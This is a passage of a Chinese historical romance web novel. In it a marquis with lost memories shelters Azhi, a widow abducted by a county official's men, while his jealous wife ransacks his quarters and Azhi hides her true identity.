邬春荣出去烧个水的功夫,就看到侯爷抱着个女人回到院子里,吓得魂都飞了。爷这是在搞什么?在玩命吗?
左院的夫人可是礼部尚书的唯一女儿,最厌恶侯爷接近其他女子的……
邬春荣急得团团转,但他也深知,他阻止不了侯爷的所作所为。他只能立刻放下手里的水桶,左看右看,去院门口守着,只希望夫人已经睡了什么都不知道,帮侯爷把事情处理得隐蔽些。
而陆昀峥将阿致安置在床上后,给她盖上被子,他先是伸手给她将额头的碎发理顺,再看着她的脸。
她的脸平静,在烛火的映照下,呈现出一种澄澈的颜色。
这是第一次,他看着她,不需要掩饰、逃避和故作镇定,他忍不住伸手,手掌覆盖在她的脸侧,用拇指轻轻摩挲她的眼下。每一次见她,都觉得她的脸上有若隐若现的伤感。
因为说了很多违心的谎话,所以太难过了吗?阿致。以后再也不用说谎,也不用难过了。
陆昀峥发誓,找到阿致,就再也不会失去她。
她的手在被子外,他看了一会,撩起被子给她盖好,转身出去。
外面的邬春荣急得要死,看到陆昀峥这么快就出来,惊掉下巴,实在看不出来,他家侯爷这么快的吗?
陆昀峥回到书房里,他想要低头看看书,但是盯着书看了许久,一个字没有看进去。
邬春荣再次烧了
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热水提进来,就看到自家侯爷在傻笑。这还真是太阳从西边升起来了。
陆昀峥用热水敷脸后,稍微冷静了些,又去耳房里看她,才发现她醒了,从床上坐起来。
他看到了她眼睛里的防备和质疑,大步走过去,坐在床边的圆凳上解释道:“你被人掳劫后,扔在了我的院子里。”
陆昀峥知道,她很多疑,因此他接下来准备再详细说明情况,证明自己没有任意妄为。
没想到阿致直接点头:“民妇知道了。”
她神情过于淡然,似乎真的相信他的说辞。
这反倒让陆昀峥一腔话堵在了喉咙口。
阿致见是他,心中的许多疑问自动打消。她立刻从床上起身来,与陆昀峥拉开三四步的距离,问:“那侯爷知道是谁将民妇掳劫至此的?”
陆昀峥看着她这疏离的举动,半晌道:“我没有非分之举。”
说完,他突然有些心虚,右手拇指在膝盖上轻轻摩挲。
阿致不置可否,弯腰向他行礼:“民妇只想知道,是谁做了此事。”
“方才手下来报,是屈县尉的人。”
那几个人将阿致扔在游园后门后,便回去屈县尉那里复命。
阿致低头看着黑漆漆的地,那是没有被烛火照亮的地方,她眯起眼睛,咬牙切齿道:“多谢侯爷如实相告,民妇这就告辞。为了避免误会,麻烦侯爷安排民妇安静离开。”
堂堂县尉,为了升官,讨好长安里的侯爷,竟然掳劫妇女。这事情告官也解决不了,那她会自己动手教训屈老幺那个人渣。
她还要继续说谎吗?陆昀峥仰头看着眼前的女子:“阿致,你还要骗我到几时?”
这突如其来一句话,让阿致心惊,她看着他的眼睛,在黑夜里亮如星光。难道陆昀峥已经恢复了记忆?可是,他已经成婚有家室,马上还有自己的孩子……他们不应该再纠缠。
阿致的手颤抖着,想要说几句狠话,让他死心:“我不是骗你,而是……”
“你还要否认?”陆昀峥皱眉看她。
阿致的眼眶酸涩,她侧过头去。他控诉她一直这样骗他,可是骗他的时候,难道她不心痛吗?重逢后的几日夜里,她的眼泪就像是没断线的珠子,一串一串地流,又怕哭太多,眼睛肿了被他看出来露馅。
陆昀峥见她这模样,起身将她抱在怀里,温柔地道:“我知道,一定是我过去做了什么错事,伤过你的心,你才会拒绝相认。但是阿致……你再信我一次,我马上和离后,就会娶你。你随我去长安——”
听这话里的意思,陆昀峥根本就没有恢复记忆。阿致即刻挣扎起来,想要推开他,却怎么也推不开:“侯爷,您怎可因为民妇而与夫人和离?”
陆昀峥紧紧将她按在怀里,下巴搁在她的耳侧,大声道:“阿致,我不是因为你才和离,我早就——”
“民妇并不是您口中的阿致。”阿致不想听下去了,她怕自己受不了引诱。她知道自己想这样任性呆在他的怀里,就像从前大漠上那样。
陆昀峥的声音太大,会引来其他人,到时候一切便会难堪至极、无可挽回。
陆昀峥根本不在乎其他人,他只在乎阿致,他说:“你再骗我,我也不会信。你根本不是王致。”
阿致不动了,她的头轻轻靠在他的肩头,这应该是他们此生最后的亲密缱绻了,可她口中的话却冰冷至极:“民妇确实不是王致,但也不是您口中的阿致。”
陆昀峥的胳膊僵硬,但是他双手抱在她的肩头,舍不得放开。
这时候,院子外头突然传来谷湘如的声音:“侯爷呢?”
邬春荣的声音特别大:“侯爷说了,戌时就不让任何人进入。”
接着就是邬春荣惨叫的声音。
谷湘如不仅踢了邬春荣,还一脚踹开了院门。
10. 贪婪
10
听到谷湘如的声音,阿致用力推开眼前的男人。
陆昀峥没有立刻松开她,手握着她的胳膊,说:“你不用怕。”
怎么可能不怕呢?阿致感觉自己就像是从千年古墓被挖出来的干尸,骤然被刺目的阳光照亮。
陆昀峥转身出去,关上了门。
房间里只剩下阿致和一根蜡烛。
她坐下来,看着桌上那一根蜡烛,火苗攒动。就是这么小小一簇火苗,就如同那刺目的阳光,刺伤了她的自尊心。她究竟在做什么啊?她竟然……做了自己最不耻的人。
虽然他们没有授受不亲,除了刚才那个拥抱……可是,她心里确实是留念的。论心,她是有罪的。
此刻心中的留念,就是那见不得人的干尸。
阿致听着谷湘如的声音越来越近,好几次她想要吹灭烛火,想要隐匿在黑暗中,仿佛她生就应该隐匿在黑暗中那样。从一开始,她就生长在黑暗中,只是因为贪图陆昀峥那样明亮温暖的人,伸出了不该伸出的手,动了不该动的心。他们之间唯一的善果,大概就是女儿希君。
隔壁正房里传来各种暴躁的声音,门被踹开的噼啪声、匣子滚落地上的吭吭声,声声就像是锤子砸在阿致的脑后。
听着听着,阿致渐渐冷静下来。
她看着那火苗,心里已经再清楚不过。如果她是谷湘如,和夫君恩爱有了身孕,以为能白首到老,却突然发现丈夫与其他女子纠缠不清,被枕边人背叛后的心中绞痛……现在阿致的心中就绞痛难抑,她根本不用想象谷湘如被背叛时的感受,因为五年前,她也曾以为能和陆昀峥白首到老,最后期望落空,看着他要与谷湘如订婚,还得假装根本不在乎。
所以……如果谷湘如找到她,骂她,那也是她还留念陆昀峥的代价。早该断了的,一早就该离开这里的,在得知他失忆后娶妻的时候。
·
一墙之隔的正房里,谷湘如将陆昀峥的几隔间搜了个遍,尤其是没有灯火的房间、书房,能藏人的角落也不会放过。
陆昀峥伸手拦她,她根本不听。
谷湘如有个手下耳目极聪,入夜后听到陆昀峥院里有纷杂动静,且后院四周陡然升级警戒,那手下便立刻来报。一开始谷湘如没有太当回事,只要陆昀峥的房里没有女人,她都不会管。可是方才手下来报,后院中隐隐传来女人的声音,侯爷似乎在与其小声争吵,因无法靠近,听不清楚。谷湘如眸子一转,火冒三丈,不顾之前的约法三章,立刻跑来后院寻人。来到后院时,不仅邬春荣那个狗腿子守着,就连暗卫也出来拦她,这不正说明有猫腻么?
若是让她寻到那胆大的寡妇,她定要扒皮抽筋。
“你在这里发什么疯?”陆昀峥一把用力将她的胳膊拉住。
“不如说,你在这里藏了什么人?”谷湘如冷笑着看他,又指了指那整块楠木的书桌底下,被绒布盖着的阴影里,“人在这里?”
谷湘如一伸手,扯下桌布,将书桌上的笔墨纸砚还有书卷统统拉下,黑漆漆的墨水撒了一地,溅在谷湘如玫粉的外裙上、白色的鞋面上。
可是,桌子下空空如也。谷湘如瞪大了眼睛:“不可能。”
难道是手下的听错了?
陆昀峥也忍耐到了极点,他甩开谷湘如:“明天启程回长安,和离上报官府。”
谷湘如知道,他这是真生气了,于是软了声调,轻轻拉着他的袖子道:“说好了还要去潞安的,夫君你不能反悔。”
陆昀峥还心系阿致的事,没有心情和她掰扯,他走到房门外,朝着院子上空吹了声口哨,便有四个暗卫飞出来,齐刷刷站在他面前领命。他转头看着谷湘如:“是你自己走回去,还是我让人将你抬回去?”
谷湘如气得脸都白了,但是闹成这样也没有找到狐媚子的人影,她只能一甩袖子自己离开。从正房出来,路过耳房时,谷湘如才想起来,这耳房还没有搜过。可惜,那四个暗卫一直跟在她身后,拦住她的去向,最后一路将她送回自己院子里,守在了她院子外头直到天亮。
·
整个院子终于安静下来,暗卫们继续围着后院。
陆昀峥转身去了耳房,阿致还在房里等他。
她望着烛火,听着隔壁的争吵声,只模糊听到了和离两字。陆昀峥果真因为她,与夫人反目?
阿致起身,看着陆昀峥。
陆昀峥走过来,她便退开了几步,对陆昀峥低头行礼:“民妇对侯爷确实有所隐瞒,但并不是侯爷要寻的故人。”
陆昀峥坐在圆凳上:“你为什么一定要对我说谎?”
方才那一闹,正好给了她圆谎的时间吧。
阿致低头看着烛光里的他,眼神落寞,但还是铁石心肠地举起手掌发誓:“民妇此时定然不敢骗侯爷一分一毫,如果有谎话,定然——”
陆昀峥突然站起身,一把握住了她的手。
两人手掌用力地纠缠在一起。他的手掌很大,将她的手掌捏在掌心里。
过了一会,陆昀峥放开她冰凉的手,说:“你说吧,你说什么我都信。”
假话我也会信,因为我信你有说假话的苦衷。
阿致和他直直对视,看着他的眼睛,她心中酸涩,不自觉眼眶红了,低下头去:“民妇之前对侯爷隐瞒身份,有不得已的苦衷。”
说出话来,她才发现自己几度哽咽。
陆昀峥没有说话,他重新坐下来,提起桌上的冷茶自斟自酌,但神情是难过的。他倒要看看,这次她怎样骗他。
阿致继续道:“其实,民妇并不叫王致,但是冒领了王致的户籍。”
她说的这一点,倒是和渠县查来的信息一致。
陆昀峥陡然抬眼看着她:“为何要冒领他人户籍?”
“民妇……十八岁的时候,原本有一门不错的亲事,但是被陆扬……玷……污”说到这里,阿致抬眼看着陆昀峥。
陆昀峥放下手中的茶盏,只见她嘴唇颤动,似乎难以启齿。不像是骗人的。
阿致手指用力掐着自己的手背,忍着泪意道:“因为此事,民妇的亲事告吹,父亲让民妇去给陆扬做妾。但陆扬喝醉酒后爱打人,好在夫人看民妇可怜,便一直帮衬着。后来夫人去世,民妇又发现自己身怀有孕,不想孩子因为没有父亲被人骂,便冒领了夫人的户籍。”
阿致说完这话,舔了舔干枯的嘴唇,悄悄抬眼看陆昀峥。
他脸上的伤感都消散了,取而代之的是愧疚、怜悯。他已经信了她的话。
他总是这样被她骗。当初离开陆府时,陆老侯爷为了防止阿致被找到,要给她换身份。阿致特意选的王致这个身份……似像非像的东西最能糊弄人心。她的目的达到了……
陆昀峥看着她那样难过,终于明白为何她会隐瞒身份,为何她说再也不会嫁人,原来她有过这样难以言说的经历。但这也说明,她确实不是阿致。
两人沉默了许久,就连烛火也跳得谨慎了些。
末了,陆昀峥抬头,看着她轻声问:“你当真不是阿致?”
他眼里都是绝望。
阿致张开嘴想说什么,却不自觉倒吸了一口凉气。她两只手绞在一起,最终什么也没说。
他
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现在必然很痛苦,但这种痛苦是短暂的,终会释怀的。
阿致复又低下头去。
陆昀峥继续沉默。
阿致站在他的对面,看着他周身的气息都凉了。他的眉头紧皱着,肩膀轻微地落下去,她好想好想靠近他,拍拍他的后背,叫他不要难过。
可是……她没有资格。此生,她都没有资格再靠近他。想到这里,阿致的鼻头红了,眼眶里涌出大片的泪水来。
泪水落到地上,无影无踪。
阿致伸手,用袖子将眼泪擦干。
陆昀峥看到了那一滑而过的光影,他抬头对上她的眼睛,她的眼睫毛湿漉漉贴在红眼眶上,如同春日被雨水打落的桃花瓣。
他道歉:“是我不好,惹了你的伤心事。你的事,我不会告诉任何人。现在,我送你回去。”
如果不是他鲁莽、一厢情愿,她那样的过往,绝不会说出来叫第二个人知晓的吧。
阿致点点头。
陆昀峥伸手撑着桌子,借力将几乎僵硬的身子撑起来,转身,率先出去。
阴影涂在他的背上,看起来那么孤寂、沉重。是因为还眷恋过去,所以很沉重吧。
陆昀峥带着她从后院的树林里离开。
子时还没过,天上一轮弯月,清晰明亮。
树林里满是阴翳,四周都是黑暗,脚下是湿漉漉的枯枝断叶,踩着有窸窣的声响,除此之外就只有两人的呼吸声了。树冠像是一丛一丛的乌云,月亮从乌云里冒出来,又躲进去。
无论是明是暗,走在后面的阿致,她眼睛从来没有离开陆昀峥。她就像是牵丝戏一端的木偶,跟着他的影子而动。
她感谢今晚的月亮,真的好亮好亮,她这样一路看着他的身影,也足够了。
人与人是要讲缘分的,他们之间的缘分实在太浅了。因为知道此生再也不会见面,就会格外珍惜每一次看到他、靠近他的机会。但人心也许就是贪婪的——即使知道应该知足,但还是觉得好委屈。
快要走出树林的时候,阿致叫住了陆昀峥:“侯爷。”
陆昀峥转身,他站在月光下,看着树影里的她,她那苍白的脸和盈盈亮着的眼中盛着几丝月光。这一刻,陆昀峥清晰地听到了内心的声音,他期待眼前这个瘦弱的女人说点什么,只要不是说绝情的分离。
阿致微笑着仰头看他:“民妇方才想过,如果民妇是您口中所说的阿致,如果……阿致她真的爱您,她应当也会希望您和夫人能美满地过日子,而不是总是记挂着过去。”
即使很委屈,但因为是你……所以希望你过得更幸福安稳些。
陆昀峥偏开脸,隐藏在月光照不到的地方,他说:“你在前面走,我再送你一程。”
看来他不爱听这个话。
阿致本想拒绝,但陆昀峥说:“放心,我会离你很远。”
阿致走在黑夜的街巷之中,他的脚步声在一个街道之外,不远不近地跟着。
·
陆昀峥子时过了才回来,回来后到书房坐了一晚上,没有睡。
第二天一早,邬春荣睡眼惺忪地过来:“侯爷,屈县尉来拜见。”
陆昀峥正伏案写什么东西,听到这话,叫邬春荣打水来洗漱。
屈老幺费了老大劲才将女人送给陆昀峥,这么早来求见,明显是来邀功的。
陆昀峥前脚去见屈县尉,邬春荣后脚去书房里整理。书房里到处是废纸团,也不知道侯爷写的是什么。
邬春荣打开一个,睡意全无,立刻去书案上看他家侯爷写的东西,所以……他家侯爷这是抄了一夜的经书?
11. 心中的猛兽
11
屈老幺来找陆昀峥,就是想要赶紧认领功劳,他可是将侯爷心系的女人送到了手心里。屈老幺嘿嘿笑着问他:“侯爷昨晚休息的可还好?”
看侯爷这眼下青色,想来昨晚十分劳累。只是年纪轻轻的,熬一夜就不行了么?
陆昀峥喝一口热茶:“不怎样,昨晚有小贼进来,闹了好一番。”
“贼?”屈老幺疑惑地看着陆昀峥,这陆侯爷不会是吃干净后抹嘴不认人吧。昨晚回去复命的三人说的是,将致娘扔在后门口并朝陆昀峥的窗口扔石子,确认有动静后才离开。
陆昀峥放下茶盏:“还是个女贼。因为担心丢了贵重物品,花了好一番功夫检查。”
“那不如报官?”屈老幺端起桌上的茶盏,状似无意试探着问。他昨晚就是送了个女人来,哪有什么贼?当然,屈老幺也就只是嘴上说说,不敢真让陆昀峥报官,毕竟他做的事不能暴露。
“报官也可,此人如此猖狂,竟然偷到本侯这里。”陆昀峥道,“只是可惜,昨晚查验许久,没找出来此人偷了何物。”
屈老幺怒道:“此人真是不知天高地厚!也是下官监管不力,让侯爷见笑。”
他这模样,不知道的还以为被贼偷家的是他,而不是陆昀峥呢。
陆昀峥没有接话。
屈老幺抬眼瞅陆昀峥一眼,又可惜地道:“不过,就像侯爷说的,没有丢东西,那报官大概也没法给您查出什么来。”
这话头就此打住,屈老幺想邀功没有邀到,陪着陆昀峥喝了一碗茶,闲聊几句后便告别了。出了后院,屈老幺还是生气,陆昀峥的说辞固然正常,可是哪有男人会放过到手的可怜人儿?
屈老幺往前走几步,被一个丫鬟拦住,这丫鬟有几分姿色,神色倨傲。屈老幺见过她几次,是侯夫人的贴身丫鬟春铃。
春铃道:“夫人想请您喝茶。”
·
谷湘如借着喝茶闲聊,先套问了屈老幺今早来找侯爷的原因。昨晚上屈老幺刚给谷湘如背后捅刀子,哪能说真话,便打哈哈说是公务上的事。
谷湘如见他谨慎得很,便转而再套问那面馆寡妇的事。屈老幺说了些鸡毛蒜皮的小事,例如致娘她夫君五年前便死了,现带着个女儿生活。
谷湘如想要知道些别的,便提到自家兄长在长安城里设了书社,书社中都是兄长在圈中的好友,她看屈县尉是个实在人,便想着帮他引荐引荐。
屈老幺心里一盘算,这事儿吧算是个好事,能结识到不少朝中有权有势的人,但是呢也没什么大用,为什么呢?结识都是要互利互惠的,他小小密县的县尉,手上没什么筹码,就算结识了长安城的权贵,最多就是能说上一两句话,实际上别人压根不会给他真正想要的。
屈老幺也很清楚,侯夫人这是想要用好处吊着他投诚,叫他给出更多信息,但是屈老幺因为昨晚的事,知道往后有个大雷,也不会轻易就表忠心,只是说:“夫人客气了,有机会见识也是下官的福分。咱们接着说方才那致娘,她丈夫死后,一直开着那面馆,前两日不知为何,她要卖了那面馆。听说,她打算带着女儿去长安生活。夫人您说,她是不是也要去长安见识见识呢?”
这话后半头纯属他编造的,不过他的目的达到了。
谷湘如听完这话,气得浑身发抖,拳头紧握。原来她的猜测没错,那寡妇早已暗地里和陆昀峥有了首尾,勾结好了!
她眼中都是恨意:“那长安城里,哪是谁想去就能去的?还要劳烦县尉您帮着看顾她孤儿寡母。”
屈县尉眼珠一转,就清楚侯夫人的意思:“那是当然的,下官万死不辞。”
春铃奉上一个木匣子:“一点心意,望县尉不要推辞。”
屈县尉装作为难地收下木匣子:“夫人实在见外。”
嘿嘿,凭空卖了一个人情。
送走那屈县尉,春铃回来就见夫人满面怒色,手指用力摩挲着一块玉佩。那可是小姐带过来的嫁妆,贵重的很,春铃立刻过去,将她手中的玉佩换成了茶杯。
谷湘如道:“前几日盯着面馆的婆子怎么说?”
“这几日,那小娘子都没怎么出门,出门时间也不定。逮不着她。”春铃道,“夫人若真想要见这寡妇,不如假做面馆的买家,和她见一面如何?”
·
陆昀峥回到书房时,邬春荣已经给他把地上和桌上所有抄写的经文都收好。
他拿出一个盆来,亲手将这些经文都烧了。今日寒凉,烧出来的火光,反倒让人有些暖。陆昀峥看着跳跃的火光,想起了昨晚上,小娘子坐在黑夜里盯着烛火愣神的模样。
他赶紧起身,对邬春荣道:“去通知左院,今日收拾行李,动身回长安。”
“夫人若不肯怎么办?”邬春荣弱弱地发问。
陆昀峥道:“那你就安排人把左院的行李收拾了。”
这冷峻的神情,让人瑟瑟发抖。邬春荣预感到一场大战在即,缩着脖子去左院。
不一会,他浑身雨水地回来了,跟陆昀峥道:“夫人她病了。”
不得不说,夫人很懂得怎么治侯爷……
陆昀峥皱眉:“什么?”
“夫人她说她病了,您若要回长安,就自己回去,她现在不走。”邬春荣还没说完,就见到侯爷转身出去了。
陆昀峥冒雨进到左院,问春铃:“夫人呢?”
“在房里躺着。”
陆昀峥打开门帘进去。
躺着床上的谷湘如,头上绑着一根布片,她嬉笑:“你还知道我是你夫人?”
“看来你根本没有病。”陆昀峥愠怒。他本以为她是真病了,是昨晚被他气病的。他冷静下来,“回长安和离,不要再拖延了。”
“你这么着急和离,是想要让我成全你和那小寡妇么?”谷湘如也不装了,从床上爬起来,一把扯掉额头上的布片,“不要以为我不知道,那日在酒楼,你消失了那小半个时辰,就是和那小寡妇私会,做见不得人的事!”
谷湘如后来叫人去查探过,往那面馆的小路上,一路上都是黄泥地。那么短的时间,陆昀峥也非要去找那寡妇。
“不是你想的那样。”陆昀峥道。
“你敢说那天你没有见过那小寡妇?”谷湘如眼中冒火。
陆昀峥保持沉默。
谷湘如知道自己说对了,她乘胜追击:“你口口声声说要寻你的妻沈雪致,但你还是移情别恋爱上了这寡妇。我说得不对?”
她知道,这话说完,陆昀峥定然颜面无存,在她面前抬不起头来。
陆昀峥看着她一派胜利者的姿态,分外坦然,扬起头:“是。”
他的错,他从不避讳。虽然不是他故意为之,但事实如此。
“你无耻!”谷湘如没想到他竟然敢承认,冲过去捶打他。
陆昀峥任她打骂,站着没有动。对于他来说,这是他期望的惩罚。从他意识到自己移情别恋的那刻开始,从他意识到自己忘了妻子阿致开始,他就希望自己能受到惩罚。
谷湘如打了半天,终于停手:“我才不会再惩罚你,让你良心好过。你应该对沈雪致一辈子抱歉。”
陆昀峥冷峻的面容许久未变,他看着窗外,窗外又下起了雨。
谷湘如哈哈大笑起来:“陆昀峥,你知道吗?我对你真的好失望。我原本以为,你和其他男人不一样。”
陆昀峥还是没有反驳。
这时谷湘如拿起桌上的一块玉佩,直接砸向他的头,从他的额头擦·边而过,血迹很快淌下来。
陆昀峥摸了一把额头上的血。
谷湘如有些慌了,她赶紧抓了一块白帕子,想要给陆昀峥擦干净:“我不是故意的……”
陆昀峥伸手,挡开了她的手指。她总是这样,肆无忌惮地伤害别人,再假装关心。
他总是这样拒人于千里之外。谷湘如心头怒火起,一把将帕子扔在地上,嘲笑道:“还装什么专情?你不就是想要与我和离,再与那小寡妇一道在长安城里相好么?”
她谷湘如可以输给沈雪致,却绝不能输给一个开面馆的寡妇!
房间里一片寂静,气氛冷得就像寒冬腊月的深夜。
“我陆昀峥,此生只有阿致一个妻子。”说完,陆昀峥出去
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,对春铃道,“准备好,雨停了就启程回长安。”
·
陆昀峥踏着雨,慢慢往后院走。
走到院子中央,大雨如瀑,他就站在冷雨之中,负手而立许久。
邬春荣在内院收拾行李,出门来看到自家爷,吓得立刻找一把伞,给爷挡雨。
陆昀峥看他被雨淋挺可怜的,便将伞推给他。反正他已经浑身湿透。
回到房里,邬春荣立刻叫人去烧热水,抬来一大桶,给爷洗漱换衣裳。
大约是淋雨了,陆昀峥洗漱出来后头脑发热,晕乎乎的。拿着兵书看了两行,便躺着睡着了。
这一睡就到了晚上天黑。
邬春荣想着自家侯爷这一整天都没怎么吃东西,早就备好了吃食,立刻端上来。
陆昀峥实在没有胃口,吃了一些,便让邬春荣拿些酒过来。
邬春荣大惊,他服侍侯爷这大半年,从来没见过爷主动要喝酒。
陆昀峥不仅喝酒,还喝了好几壶。他酒量不错,很难醉。
侯爷一边喝酒,一边带笑,邬春荣看得怕极了,也不敢劝。想来是今日同夫人吵架太狠了。
陆昀峥喝完第三壶,还是没彻底醉趴下,他无奈一笑,踉跄着去书房。
邬春荣担心他,跟着过去,被他关在了书房外头。
而书房里的陆昀峥则拉出了一张白纸和一支笔。今天写什么呢?
不想写经书了,写信吧。
写忏悔信,给阿致的。
就像今日谷湘如骂的那样,他是个卑鄙庸俗的男人。
他也曾以为自己和别的男人不一样,他以为自己会爱阿致,就会爱她一辈子。所以在新婚当日得知被骗婚后,他一直坚定地要找到阿致,做到他失忆后唯一记得的事:和阿致成婚。
结果……阿致还没有找到,他却已经深陷情·爱·色·相。
他高估了自己。
他是个无耻的人,尤其是对于阿致来说。
五年前,阿致离开,是因为他做错了事,是他抛弃了她。现在,他再一次抛弃了她。
其实,陆昀峥也无法原谅自己,尤其是当他感觉到委屈的时候。
他也不想要移情别恋,可是……爱上那小娘子,真的全不由他决定。
这几日,只要一闭上眼睛,他就会不自觉想到她一低眉的模样,会好奇她正在做什么?她……有没有在任何一个分别的空隙里想起他?他挂念她,也会好奇她一切的过往。
昨晚上,送她离开后,他看着她苍白的脸,想要问她生病的好些了吗?想要告诉她不必因为过往的经历而伤心自囿,可是他又很清楚自己没有关心的资格,不敢多说一句亲近的话,不敢让她知道自己的担心,只能装作不为所动的模样。
而他最想要知道的,是她对他的心意,真的没有一丝一毫的动心吗?明明昨晚上,她的头微微靠在他肩膀上。虽然是轻若羽毛的触碰,但是她应当也是想要靠近他的吧。陆昀峥知道自己很可悲,因为他在祈祷小娘子也爱他。而明明,她那样的决绝……
即使知道她是那样的决绝,他也忍不住发了疯一样地设想,如果……如果他们都没有过去,只是以全新的身份在此处相遇,他们会不会举案齐眉、白头偕老?
而原本,他想要白头偕老的人是……阿致。陆昀峥骤然从酒意中清醒,他看着自己写在纸上的这一团黑漆漆的字——每一个字都是他心中的猛兽,有着最黑暗丑陋的面貌。
阿致若真看到这信,要被他气到吐血吧。
陆昀峥丢了笔,将这信团成一团,扔到地上。他的头昏沉剧痛,酒意再次上涌,便趴在桌上睡着了。
·
阿致白日里磨了一整天的刀。
到了晚上,夜雨仍旧缠绵,街巷里几乎没有人影,她换上黑色夜行衣,怀揣着三把刀出门。
快走到屈县尉的宅子附近时,她才发现自己被人跟踪。
“是谁?”阿致小声对着那巷尾的影子道。
巷尾的影子慢慢出来,是个高大男人。
待看清楚对方的轮廓,阿致惊呆:“侯爷?”
12. 一念起则万恶生
12
看着不远处走出来的高大人影,阿致目瞪口呆。
陆昀峥为什么会跟着她,还是在入夜以后?
既然被发现了,陆昀峥便坦荡荡走到她面前。
两人一时无话。
阿致抬头,看到他额角的黑色记号,这是受伤了么?
陆昀峥也注意到她的视线,等着她说什么。
阿致又低下头,这不是她能关心的,转而问:“侯爷喝酒了?”
他很少喝酒的,今日这么浓的酒气,是喝了多少?是不是出了什么事?阿致有很多问题,想了又想,还是咬住嘴唇,保持该有的沉默。
“没有喝醉。”陆昀峥抬头。雨停了,蓝色的夜幕上仍旧布满了乌云。
阿致问他:“侯爷跟着我做什么?”
“担心你要来寻屈县尉报仇,就跟过来了。”陆昀峥看着她的额头。
阿致仰头,对上他的眼。
她似乎很惊讶。
陆昀峥咳咳两声,把自己的理由解释得更合理些:“上次,屈县尉说了你不爱听的话,你故意将雨水抖落在他身上。昨晚你非要问是谁掳劫你,我便猜到了。”
阿致垂下眼眸,没有否认。不论他是否失忆,他总是最了解她的心性。她就是这样,睚眦必报,不然她就睡不着觉。
陆昀峥见她终于信了,松了口气。
他明明记得自己在书房里趴着睡了,方才醒过来时,就站在了她院子的后门口发愣。难怪说喝酒误事,陆昀峥压根想不起自己怎么过来的。等他想走的时候,就看到阿致一身黑衣从院子里跳出去。一个做生意的小娘子,瘦弱的模样,竟也会黑衣夜行?陆昀峥跟着她一路急行,才发现这是去屈县尉家的路……他也是方才意识到,她是来寻仇的,被掳劫的仇。
他翘起嘴角,问:“所以,你真是要寻仇?”
阿致歪头看他:“如果是寻仇,侯爷要去报官么?”
如果他要报官,她就先解决了他。她要做的事,天王老子来了也不管用。这样一说,其实女儿希君更像她。
陆昀峥摇头:“你有完全的计划,保证成事之后能全身而退么?”
“他住在左边的院子,只要能进到他房里,我就能一刀让他断子绝孙!出来就更容易了。”阿致眼睛里满是火苗。昨晚上从陌生人的床上醒来时,那种愤怒和屈辱,她依旧清晰记得。
说完,阿致蒙上黑色面巾,继续往前走,不远处就是屈县尉豪华的庭院。
陆昀峥伸手,握住她的肩膀:“你看看左边第三棵树后面。”
阿致侧身,避开他的手,停下脚步一看,果然,第三颗树掩盖了一个人影,要不是那人百无聊赖地摸一把额头,阿致还观察不到这动静。
原来屈老幺这鸡贼,他竟然请了人来保护他。
阿致捏紧了长刀的刀柄,只是这一个人,她并不怕,只是麻烦了些。
陆昀峥拦在她前面,又伸手指了指另一个方向:“你再看。”
看着看着,阿致手中握着的刀渐渐垂下来,那边还有一个人。目前只看到了两个,那么没看到的呢?
“据我所知,这个屈县尉他至少请了四个人日夜保护他。”陆昀峥道,“你动手之前,还应该更仔细勘查才对。”
阿致咬牙:“看来屈老幺自己也知道,想要取他性命的人不少。”
屈老幺这些年丧心病狂的事做了不少,阿致从不八卦的,光是听面馆的客官聊天,她就知道了两三件。
可是就这样放弃么?阿致掂量手中的刀柄,她实在忍不下昨晚的事。她可以吃苦,但是让她忍气吞声,简直比登天还难。
陆昀峥似乎看出她不甘心,继续晓之以理:“你当然能打得过这四个人,但是闹出来的动静不小,到时候你回到家了,真的能与女儿脱身吗?”
说到女儿希君,阿致的心突然软了,她长叹一口气,问陆昀峥:“他一个当官的,知法犯法,难道就这样让他继续逍遥?”
陆昀峥知道,她已经打消了寻仇的念头,便笑着道:“你放心,我早已经将他调查清楚,只是他为人狡诈,留下的证据不多。不过,我已经在想办法,早晚会帮你出这口气,不会让坏人逍遥法外。”
阿致撇了撇嘴角,任由他伸手,将自己手中的刀抽走。
他温热的手指触碰到她汗涔涔的手心。
他都不知道,她哪只带了这一把刀,她还有两把呢,其中一把小的,藏在短靴里。
“走吧,我送你回去。”陆昀峥把刀收好。
两人沉默着往回走,肩并肩。
因为路滑,陆昀峥总是在前面带路,走两步便停一停,等她。
陆昀峥想起来,雪致也会功夫,于是问道:“你如何学会的功夫?”
“我家有个叔,他年轻时候上过战场。我跟着他学了些拳脚,不精通。”阿致胡诌道,她的功夫都是他教的。
原来如此,陆昀峥不得不认,这世上就是有许多无法解释的巧合。
回到院子里,阿致站着许久,听着他脚步声渐渐走远。
·
第二天,阿致醒得很早。既然准备要卖掉面馆离开,那就要早做准备。
这个时候陶盾来敲门,他是来道歉的。
阿致打开门,看着他。
陶盾承认自己口无遮拦,希望阿致再给她一次机会,他绝对不会再对她说伤人的话。
阿致看他那么诚心的样子,不好再苛责。于是告诉他,自己打算离开密县。如果离开了,也无所谓原谅不原谅。
“听说你要卖掉面馆,离开密县,是因为我说的那些话吗?”陶盾昨晚从地保那里得知阿致要卖铺子离开。
阿致摇头:“我有其他打算。”
“那你打算去哪里?”陶盾看着她院子里许多衣物、食物零散堆着,包括两袋面粉。
阿致打算把这些拉出去送人。卖不了什么钱,还不如送给需要的人:“还没有想好。”
她不想让人知道她的下一个落脚点,她只想要带着女儿安静生活。
“我和你一起去。”陶盾斩钉截铁道。
“你跟着我做什么?”阿致看了他一眼,“你祖宅都在密县,去其他地方无法生活,再则你也到年纪,该娶妻生子定下来。”
一直以来,阿致照顾陶盾一日三餐,但两人交集并不多。多数时候就是陶盾自己到面馆领取吃食。也就是前几天,阿致才通过他的反常言行看出来,陶盾对她有意。
既然看出来了,她就必须要果断点。陶盾想要的东西,她永远也给不了。
“我……此生不打算娶别人……”陶盾缩着肩膀,不停抬眼看致娘的脸色,满脸通红,鼓足勇气道,“我想照顾致娘你,还有希君。”
阿致看着他,平静道:“我可以照顾好自己,你不用为我操心。再者,换个地方生活不是小事,你不要随便挂在嘴上。”
这时候女儿希君在喊阿妈,阿致便扔了手里的抹布,她去房里安置女儿。
陶盾嗫嚅着嘴唇道:“我不是随便说说,致娘,你去哪里,我就去哪里。”
为了陆昀峥和谷湘如的事情,阿致头疼得不行,她甚至得举家搬迁,现
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在陶盾又给她出难题……她没有三头六臂,问题却没个消停。
眼下又房牙在她面馆前门。
阿致急忙打开前门。房牙是个四十多的瘦矮男人,眼冒精光,他说有个主顾想要买面馆,这之前要请阿致去露钟茶楼一见,约在今日午时。
这可真是稀奇,买面馆的人不来亲自看看铺面,却要先见老板,见面的地点还是在茶楼……
